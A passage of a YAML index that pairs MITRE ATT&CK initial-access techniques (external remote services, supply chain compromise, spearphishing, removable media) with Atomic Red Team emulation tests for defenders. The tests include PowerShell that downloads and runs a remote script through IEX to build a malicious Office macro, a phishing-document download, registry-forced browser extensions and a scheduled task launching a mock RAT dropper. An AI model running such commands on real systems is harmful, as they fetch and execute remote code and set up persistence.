      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1133
        external_id: T1133
      - source_name: Volexity Virtual Private Keylogging
        description: 'Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco
          Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.'
        url: https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/
      - source_name: MacOS VNC software for Remote Desktop
        description: Apple Support. (n.d.). Set up a computer running VNC software
          for Remote Desktop. Retrieved August 18, 2021.
        url: https://support.apple.com/guide/remote-desktop/set-up-a-computer-running-vnc-software-apdbed09830/mac
      - source_name: Unit 42 Hildegard Malware
        description: 'Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking
          Malware Targeting Kubernetes. Retrieved April 5, 2021.'
        url: https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/
      - source_name: Trend Micro Exposed Docker Server
        description: Remillano II, A., et al. (2020, June 20). XORDDoS, Kaiji Variants
          Target Exposed Docker Servers. Retrieved April 5, 2021.
        url: https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      spec_version: '2.1'
      identifier: T1133
    atomic_tests:
    - name: Running Chrome VPN Extensions via the Registry 2 vpn extension
      auto_generated_guid: 4c8db261-a58b-42a6-a866-0a294deedde4
      description: 'Running Chrome VPN Extensions via the Registry install 2 vpn extension,
        please see "T1133\src\list of vpn extension.txt" to view complete list

        '
      supported_platforms:
      - windows
      input_arguments:
        chrome_url:
          description: chrome installer download URL
          type: url
          default: https://dl.google.com/tag/s/appguid%3D%7B8A69D345-D564-463C-AFF1-A69D9E530F96%7D%26iid%3D%7BFD62DDBC-14C6-20BD-706F-C7744738E422%7D%26lang%3Den%26browser%3D3%26usagestats%3D0%26appname%3DGoogle%2520Chrome%26needsadmin%3Dprefers%26ap%3Dx64-stable-statsdef_1%26installdataindex%3Dempty/chrome/install/ChromeStandaloneSetup64.exe
        extension_id:
          description: chrome extension id
          type: string
          default: '"fcfhplploccackoneaefokcmbjfbkenj", "fdcgdnkidjaadafnichfpabhfomcebme"

            '
      dependency_executor_name: powershell
      dependencies:
      - description: 'Chrome must be installed

          '
        prereq_command: if ((Test-Path "C:\Program Files\Google\Chrome\Application\chrome.exe")
          -Or (Test-Path "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"))
          {exit 0} else {exit 1}
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest -OutFile "PathToAtomicsFolder\..\ExternalPayloads\ChromeStandaloneSetup64.exe" #{chrome_url}
          Start-Process "PathToAtomicsFolder\..\ExternalPayloads\ChromeStandaloneSetup64.exe" /S
      executor:
        name: powershell
        elevation_required: true
        command: |
          $extList = #{extension_id}
          foreach ($extension in $extList) {
            New-Item -Path HKLM:\Software\Wow6432Node\Google\Chrome\Extensions\$extension -Force
            New-ItemProperty -Path "HKLM:\Software\Wow6432Node\Google\Chrome\Extensions\$extension" -Name "update_url" -Value "https://clients2.google.com/service/update2/crx" -PropertyType "String" -Force}
          Start chrome
          Start-Sleep -Seconds 30
          Stop-Process -Name "chrome"
        cleanup_command: |
          $extList = #{extension_id}
          foreach ($extension in $extList) {
          Remove-Item -Path "HKLM:\Software\Wow6432Node\Google\Chrome\Extensions\$extension" -ErrorAction Ignore}
  T1195.001:
    technique:
      modified: '2024-04-13T14:47:31.204Z'
      name: Compromise Software Dependencies and Development Tools
      description: "Adversaries may manipulate software dependencies and development
        tools prior to receipt by a final consumer for the purpose of data or system
        compromise. Applications often depend on external software to function properly.
        Popular open source projects that are used as dependencies in many applications
        may be targeted as a means to add malicious code to users of the dependency.(Citation:
        Trendmicro NPM Compromise)  \n\nTargeting may be specific to a desired victim
        set or may be distributed to a broad set of consumers but only move on to
        additional tactics on specific victims. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      x_mitre_deprecated: false
      x_mitre_detection: 'Use verification of distributed binaries through hash checking
        or other integrity checking mechanisms. Scan downloads for malicious signatures
        and attempt to test software and updates prior to deployment while taking
        note of potential suspicious activity. '
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'File: File Metadata'
      type: attack-pattern
      id: attack-pattern--191cc6af-1bb2-4344-ab5f-28e496638720
      created: '2020-03-11T14:13:42.916Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1195/001
        external_id: T1195.001
      - source_name: Trendmicro NPM Compromise
        description: Trendmicro. (2018, November 29). Hacker Infects Node.js Package
          to Steal from Bitcoin Wallets. Retrieved April 10, 2019.
        url: https://www.trendmicro.com/vinfo/dk/security/news/cybercrime-and-digital-threats/hacker-infects-node-js-package-to-steal-from-bitcoin-wallets
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1566.002:
    technique:
      modified: '2024-04-15T23:51:25.037Z'
      name: Spearphishing Link
      description: |-
        Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.

        All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place.

        Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly. Additionally, adversaries may use seemingly benign links that abuse special characters to mimic legitimate websites (known as an "IDN homograph attack").(Citation: CISA IDN ST05-016) URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`.(Citation: Mandiant URL Obfuscation 2023)

        Adversaries may also utilize links to perform consent phishing, typically with OAuth 2.0 request URLs that when accepted by the user provide permissions/access for malicious applications, allowing adversaries to  [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s.(Citation: Trend Micro Pawn Storm OAuth 2017) These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls. (Citation: Microsoft OAuth 2.0 Consent Phishing 2021)

        Adversaries may also utilize spearphishing links to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s that grant immediate access to the victim environment. For example, a user may be lured through “consent phishing” into granting adversaries permissions/access via a malicious OAuth 2.0 request URL .(Citation: Trend Micro Pawn Storm OAuth 2017)(Citation: Microsoft OAuth 2.0 Consent Phishing 2021)

        Similarly, malicious links may also target device-based authorization, such as OAuth 2.0 device authorization grant flow which is typically used to authenticate devices without UIs/browsers. Known as “device code phishing,” an adversary may send a link that directs the victim to a malicious authorization page where the user is tricked into entering a code/credentials that produces a device token.(Citation: SecureWorks Device Code Phishing 2021)(Citation: Netskope Device Code Phishing 2021)(Citation: Optiv Device Code Phishing 2021)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      x_mitre_contributors:
      - Philip Winther
      - Shailesh Tiwary (Indian Army)
      - Mark Wee
      - Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)
      - Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)
      - Kobi Haimovich, CardinalOps
      - Menachem Goldstein
      x_mitre_deprecated: false
      x_mitre_detection: |-
        URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites as well as links redirecting to adversary infrastructure based by upon suspicious OAuth patterns with unusual TLDs.(Citation: Microsoft OAuth 2.0 Consent Phishing 2021). Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link.

        Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)

        Because this technique usually involves user interaction on the endpoint, many of the possible detections take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Office 365
      - SaaS
      - Google Workspace
      x_mitre_version: '2.6'
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'Application Log: Application Log Content'
      - 'Network Traffic: Network Traffic Content'
      type: attack-pattern
      id: attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7
      created: '2020-03-02T19:15:44.182Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1566/002
        external_id: T1566.002
      - source_name: ACSC Email Spoofing
        description: Australian Cyber Security Centre. (2012, December). Mitigating
          Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.
        url: https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf
      - source_name: CISA IDN ST05-016
        description: 'CISA. (2019, September 27). Security Tip (ST05-016): Understanding
          Internationalized Domain Names. Retrieved October 20, 2020.'
        url: https://us-cert.cisa.gov/ncas/tips/ST05-016
      - source_name: Trend Micro Pawn Storm OAuth 2017
        description: Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication
          in Advanced Social Engineering Attacks. Retrieved October 4, 2019.
        url: https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks
      - source_name: Netskope Device Code Phishing 2021
        description: Jenko Hwong. (2021, August 10). New Phishing Attacks Exploiting
          OAuth Authorization Flows (Part 1). Retrieved March 19, 2024.
        url: https://www.netskope.com/blog/new-phishing-attacks-exploiting-oauth-authorization-flows-part-1
      - source_name: Microsoft OAuth 2.0 Consent Phishing 2021
        description: Microsoft 365 Defender Threat Intelligence Team. (2021, June
          14). Microsoft delivers comprehensive solution to battle rise in consent
          phishing emails. Retrieved December 13, 2021.
        url: https://www.microsoft.com/security/blog/2021/07/14/microsoft-delivers-comprehensive-solution-to-battle-rise-in-consent-phishing-emails/
      - source_name: Microsoft Anti Spoofing
        description: Microsoft. (2020, October 13). Anti-spoofing protection in EOP.
          Retrieved October 19, 2020.
        url: https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide
      - source_name: Mandiant URL Obfuscation 2023
        description: 'Nick Simonian. (2023, May 22). Don''t @ Me: URL Obfuscation
          Through Schema Abuse. Retrieved August 4, 2023.'
        url: https://www.mandiant.com/resources/blog/url-obfuscation-schema-abuse
      - source_name: Optiv Device Code Phishing 2021
        description: Optiv. (2021, August 17). Microsoft 365 OAuth Device Code Flow
          and Phishing. Retrieved March 19, 2024.
        url: https://www.optiv.com/insights/source-zero/blog/microsoft-365-oauth-device-code-flow-and-phishing
      - source_name: SecureWorks Device Code Phishing 2021
        description: SecureWorks Counter Threat Unit Research Team. (2021, June 3).
          OAuth’S Device Code Flow Abused in Phishing Attacks. Retrieved March 19,
          2024.
        url: https://www.secureworks.com/blog/oauths-device-code-flow-abused-in-phishing-attacks
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1566.001:
    technique:
      modified: '2024-01-31T14:09:27.066Z'
      name: 'Phishing: Spearphishing Attachment'
      description: "Adversaries may send spearphishing emails with a malicious attachment
        in an attempt to gain access to victim systems. Spearphishing attachment is
        a specific variant of spearphishing. Spearphishing attachment is different
        from other forms of spearphishing in that it employs the use of malware attached
        to an email. All forms of spearphishing are electronically delivered social
        engineering targeted at a specific individual, company, or industry. In this
        scenario, adversaries attach a file to the spearphishing email and usually
        rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain
        execution.(Citation: Unit 42 DarkHydrus July 2018) Spearphishing may also
        involve social engineering techniques, such as posing as a trusted source.\n\nThere
        are many options for the attachment such as Microsoft Office documents, executables,
        PDFs, or archived files. Upon opening the attachment (and potentially clicking
        past protections), the adversary's payload exploits a vulnerability or directly
        executes on the user's system. The text of the spearphishing email usually
        tries to give a plausible reason why the file should be opened, and may explain
        how to bypass system protections in order to do so. The email may also contain
        instructions on how to decrypt an attachment, such as a zip file password,
        in order to evade email boundary defenses. Adversaries frequently manipulate
        file extensions and icons in order to make attached executables appear to
        be document files, or files exploiting one application appear to be a file
        for a different one. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      x_mitre_contributors:
      - Philip Winther
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Network intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.

        Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)

        Anti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the attachment is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) or usage of malicious scripts.

        Monitor for suspicious descendant process spawning from Microsoft Office and other productivity software.(Citation: Elastic - Koadiac Detection with EQL)
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - macOS
      - Windows
      - Linux
      x_mitre_version: '2.2'
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Content'
      - 'Network Traffic: Network Traffic Flow'
      - 'Application Log: Application Log Content'
      - 'File: File Creation'
      type: attack-pattern
      id: attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597
      created: '2020-03-02T19:05:18.137Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1566/001
        external_id: T1566.001
      - source_name: ACSC Email Spoofing
        description: Australian Cyber Security Centre. (2012, December). Mitigating
          Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.
        url: https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf
      - source_name: Unit 42 DarkHydrus July 2018
        description: Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus
          Targets Middle East Government. Retrieved August 2, 2018.
        url: https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/
      - source_name: Microsoft Anti Spoofing
        description: Microsoft. (2020, October 13). Anti-spoofing protection in EOP.
          Retrieved October 19, 2020.
        url: https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide
      - source_name: Elastic - Koadiac Detection with EQL
        description: 'Stepanic, D.. (2020, January 13). Embracing offensive tooling:
          Building detections against Koadic using EQL. Retrieved November 30, 2020.'
        url: https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1566.001
    atomic_tests:
    - name: Download Macro-Enabled Phishing Attachment
      auto_generated_guid: 114ccff9-ae6d-4547-9ead-4cd69f687306
      description: |
        This atomic test downloads a macro enabled document from the Atomic Red Team GitHub repository, simulating an end user clicking a phishing link to download the file.
        The file "PhishingAttachment.xlsm" is downloaded to the %temp% directory.
      supported_platforms:
      - windows
      executor:
        command: |
          $url = 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1566.001/bin/PhishingAttachment.xlsm'
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          Invoke-WebRequest -Uri $url -OutFile $env:TEMP\PhishingAttachment.xlsm
        name: powershell
        cleanup_command: 'Remove-Item $env:TEMP\PhishingAttachment.xlsm -ErrorAction
          Ignore

          '
    - name: Word spawned a command shell and used an IP address in the command line
      auto_generated_guid: cbb6799a-425c-4f83-9194-5447a909d67f
      description: |
        Word spawning a command prompt then running a command with an IP address in the command line is an indicator of malicious activity.
        Upon execution, CMD will be launched and ping 8.8.8.8.
      supported_platforms:
      - windows
      input_arguments:
        jse_path:
          description: 'Path for the macro to write out the "malicious" .jse file

            '
          type: string
          default: C:\Users\Public\art.jse
        ms_product:
          description: Maldoc application Word or Excel
          type: string
          default: Word
      dependency_executor_name: powershell
      dependencies:
      - description: 'Microsoft #{ms_product} must be installed

          '
        prereq_command: |
          try {
            New-Object -COMObject "#{ms_product}.Application" | Out-Null
            $process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"}
            Stop-Process -Name $process
            exit 0
          } catch { exit 1 }
        get_prereq_command: 'Write-Host "You will need to install Microsoft #{ms_product}
          manually to meet this requirement"

          '
      executor:
        command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
          $macrocode = "   Open `"#{jse_path}`" For Output As #1`n   Write #1, `"WScript.Quit`"`n   Close #1`n   Shell`$ `"ping 8.8.8.8`"`n"
          Invoke-MalDoc -macroCode $macrocode -officeProduct "#{ms_product}"
        cleanup_command: 'Remove-Item #{jse_path} -ErrorAction Ignore

          '
        name: powershell
  T1195.003:
    technique:
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--39131305-9282-45e4-ac3b-591d2d4fc3ef
      created: '2020-03-11T14:28:40.064Z'
      x_mitre_version: '1.1'
      external_references:
      - source_name: mitre-attack
        external_id: T1195.003
        url: https://attack.mitre.org/techniques/T1195/003
      x_mitre_deprecated: false
      revoked: false
      description: Adversaries may manipulate hardware components in products prior
        to receipt by a final consumer for the purpose of data or system compromise.
        By modifying hardware or firmware in the supply chain, adversaries can insert
        a backdoor into consumer networks that may be difficult to detect and give
        the adversary a high degree of control over the system. Hardware backdoors
        may be inserted into various devices, such as servers, workstations, network
        infrastructure, or peripherals.
      modified: '2022-05-24T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Compromise Hardware Supply Chain
      x_mitre_detection: Perform physical inspection of hardware to look for potential
        tampering. Perform integrity checking on pre-OS boot mechanisms that can be
        manipulated for malicious purposes.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      x_mitre_is_subtechnique: true
      x_mitre_data_sources:
      - 'Sensor Health: Host Status'
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1091:
    technique:
      modified: '2023-10-17T20:42:21.453Z'
      name: Replication Through Removable Media
      description: |-
        Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.

        Mobile devices may also be used to infect PCs with malware if connected via USB.(Citation: Exploiting Smartphone USB ) This infection may be achieved using devices (Android, iOS, etc.) and, in some instances, USB charging cables.(Citation: Windows Malware Infecting Android)(Citation: iPhone Charging Cable Hack) For example, when a smartphone is connected to a system, it may appear to be mounted similar to a USB-connected disk drive. If malware that is compatible with the connected system is on the mobile device, the malware could infect the machine (especially if Autorun features are enabled).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: lateral-movement
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      x_mitre_contributors:
      - Joas Antonio dos Santos, @C0d3Cr4zy
      x_mitre_deprecated: false
      x_mitre_detection: Monitor file access on removable media. Detect processes
        that execute from removable media after it is mounted or when initiated by
        a user. If a remote access tool is used in this manner to move laterally,
        then additional actions are likely to occur after execution, such as opening
        network connections for Command and Control and system and network information
        Discovery.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'File: File Access'
      - 'Process: Process Creation'
      - 'Drive: Drive Creation'
      - 'File: File Creation'
      x_mitre_system_requirements:
      - Removable media allowed, Autorun enabled or vulnerability present that allows
        for code execution
      type: attack-pattern
      id: attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4
      created: '2017-05-31T21:31:08.977Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1091
        external_id: T1091
      - source_name: Windows Malware Infecting Android
        description: Lucian Constantin. (2014, January 23). Windows malware tries
          to infect Android devices connected to PCs. Retrieved May 25, 2022.
        url: https://www.computerworld.com/article/2486903/windows-malware-tries-to-infect-android-devices-connected-to-pcs.html
      - source_name: iPhone Charging Cable Hack
        description: Zack Whittaker. (2019, August 12). This hacker’s iPhone charging
          cable can hijack your computer. Retrieved May 25, 2022.
        url: https://techcrunch.com/2019/08/12/iphone-charging-cable-hack-computer-def-con/
      - source_name: 'Exploiting Smartphone USB '
        description: Zhaohui Wang & Angelos Stavrou. (n.d.). Exploiting Smart-Phone
          USB Connectivity For Fun And Profit. Retrieved May 25, 2022.
        url: https://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.226.3427&rep=rep1&type=pdf
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1091
    atomic_tests:
    - name: USB Malware Spread Simulation
      auto_generated_guid: d44b7297-622c-4be8-ad88-ec40d7563c75
      description: "Simulates an adversary copying malware to all connected removable
        drives. \n"
      supported_platforms:
      - windows
      executor:
        name: powershell
        command: |
          $RemovableDrives=@()
          $RemovableDrives = Get-WmiObject -Class Win32_LogicalDisk -filter "drivetype=2" | select-object -expandproperty DeviceID
          ForEach ($Drive in $RemovableDrives)
          {
          write-host "Removable Drive Found:" $Drive
          New-Item -Path $Drive/T1091Test1.txt -ItemType "file" -Force -Value "T1091 Test 1 has created this file to simulate malware spread to removable drives."
          }
        cleanup_command: |
          $RemovableDrives = Get-WmiObject -Class Win32_LogicalDisk -filter "drivetype=2" | select-object -expandproperty DeviceID
          ForEach ($Drive in $RemovableDrives)
          {
          Remove-Item -Path $Drive\T1091Test1.txt -Force -ErrorAction Ignore
          }
  T1195:
    technique:
      modified: '2024-02-26T14:23:37.009Z'
      name: Supply Chain Compromise
      description: "Adversaries may manipulate products or product delivery mechanisms
        prior to receipt by a final consumer for the purpose of data or system compromise.\n\nSupply
        chain compromise can take place at any stage of the supply chain including:\n\n*
        Manipulation of development tools\n* Manipulation of a development environment\n*
        Manipulation of source code repositories (public or private)\n* Manipulation
        of source code in open-source dependencies\n* Manipulation of software update/distribution
        mechanisms\n* Compromised/infected system images (multiple cases of removable
        media infected at the factory)(Citation: IBM Storwize)(Citation: Schneider
        Electric USB Malware) \n* Replacement of legitimate software with modified
        versions\n* Sales of modified/counterfeit products to legitimate distributors\n*
        Shipment interdiction\n\nWhile supply chain compromise can impact any component
        of hardware or software, adversaries looking to gain execution have often
        focused on malicious additions to legitimate software in software distribution
        or update channels.(Citation: Avast CCleaner3 2018)(Citation: Microsoft Dofoil
        2018)(Citation: Command Five SK 2011) Targeting may be specific to a desired
        victim set or malicious software may be distributed to a broad set of consumers
        but only move on to additional tactics on specific victims.(Citation: Symantec
        Elderwood Sept 2012)(Citation: Avast CCleaner3 2018)(Citation: Command Five
        SK 2011) Popular open source projects that are used as dependencies in many
        applications may also be targeted as a means to add malicious code to users
        of the dependency.(Citation: Trendmicro NPM Compromise)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      x_mitre_contributors:
      - Veeral Patel
      x_mitre_deprecated: false
      x_mitre_detection: Use verification of distributed binaries through hash checking
        or other integrity checking mechanisms. Scan downloads for malicious signatures
        and attempt to test software and updates prior to deployment while taking
        note of potential suspicious activity. Perform physical inspection of hardware
        to look for potential tampering.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - Windows
      - macOS
      x_mitre_version: '1.6'
      x_mitre_data_sources:
      - 'Sensor Health: Host Status'
      - 'File: File Metadata'
      type: attack-pattern
      id: attack-pattern--3f18edba-28f4-4bb9-82c3-8aa60dcac5f7
      created: '2018-04-18T17:59:24.739Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1195
        external_id: T1195
      - source_name: Avast CCleaner3 2018
        description: Avast Threat Intelligence Team. (2018, March 8). New investigations
          into the CCleaner incident point to a possible third stage that had keylogger
          capacities. Retrieved March 15, 2018.
        url: https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities
      - source_name: Command Five SK 2011
        description: Command Five Pty Ltd. (2011, September). SK Hack by an Advanced
          Persistent Threat. Retrieved April 6, 2018.
        url: https://www.commandfive.com/papers/C5_APT_SKHack.pdf
      - source_name: IBM Storwize
        description: IBM Support. (2017, April 26). Storwize USB Initialization Tool
          may contain malicious code. Retrieved May 28, 2019.
        url: https://www-01.ibm.com/support/docview.wss?uid=ssg1S1010146&myns=s028&mynp=OCSTHGUJ&mynp=OCSTLM5A&mynp=OCSTLM6B&mynp=OCHW206&mync=E&cm_sp=s028-_-OCSTHGUJ-OCSTLM5A-OCSTLM6B-OCHW206-_-E
      - source_name: Symantec Elderwood Sept 2012
        description: O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood
          Project. Retrieved February 15, 2018.
        url: https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf
      - source_name: Schneider Electric USB Malware
        description: Schneider Electric. (2018, August 24). Security Notification
          – USB Removable Media Provided With Conext Combox and Conext Battery Monitor.
          Retrieved May 28, 2019.
        url: https://www.se.com/ww/en/download/document/SESN-2018-236-01/
      - source_name: Trendmicro NPM Compromise
        description: Trendmicro. (2018, November 29). Hacker Infects Node.js Package
          to Steal from Bitcoin Wallets. Retrieved April 10, 2019.
        url: https://www.trendmicro.com/vinfo/dk/security/news/cybercrime-and-digital-threats/hacker-infects-node-js-package-to-steal-from-bitcoin-wallets
      - source_name: Microsoft Dofoil 2018
        description: Windows Defender Research. (2018, March 7). Behavior monitoring
          combined with machine learning spoils a massive Dofoil coin mining campaign.
          Retrieved March 20, 2018.
        url: https://cloudblogs.microsoft.com/microsoftsecure/2018/03/07/behavior-monitoring-combined-with-machine-learning-spoils-a-massive-dofoil-coin-mining-campaign/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1195
    atomic_tests:
    - name: Octopus Scanner Malware Open Source Supply Chain
      auto_generated_guid: 82a9f001-94c5-495e-9ed5-f530dbded5e2
      description: |
        This test simulates an adversary Octopus drop the RAT dropper ExplorerSync.db
        [octopus-scanner-malware-open-source-supply-chain](https://securitylab.github.com/research/octopus-scanner-malware-open-source-supply-chain/)
        [the-supreme-backdoor-factory](https://www.dfir.it/blog/2019/02/26/the-supreme-backdoor-factory/)
      supported_platforms:
      - windows
      input_arguments:
        rat_payload:
          description: RAT dropper ExplorerSync.db
          type: path
          default: "$env:TEMP\\ExplorerSync.db"
      dependency_executor_name: powershell
      dependencies:
      - description: 'ExplorerSync.db must exist on disk at specified location (#{rat_payload})

          '
        prereq_command: 'if (Test-Path #{rat_payload}) {exit 0} else {exit 1}

          '
        get_prereq_command: 'Out-File -FilePath "#{rat_payload}"

          '
      executor:
        command: |
          copy %temp%\ExplorerSync.db %temp%\..\Microsoft\ExplorerSync.db
          schtasks /create /tn ExplorerSync /tr "javaw -jar %temp%\..\Microsoft\ExplorerSync.db" /sc MINUTE /f
        cleanup_command: |
          schtasks /delete /tn ExplorerSync /F 2>null
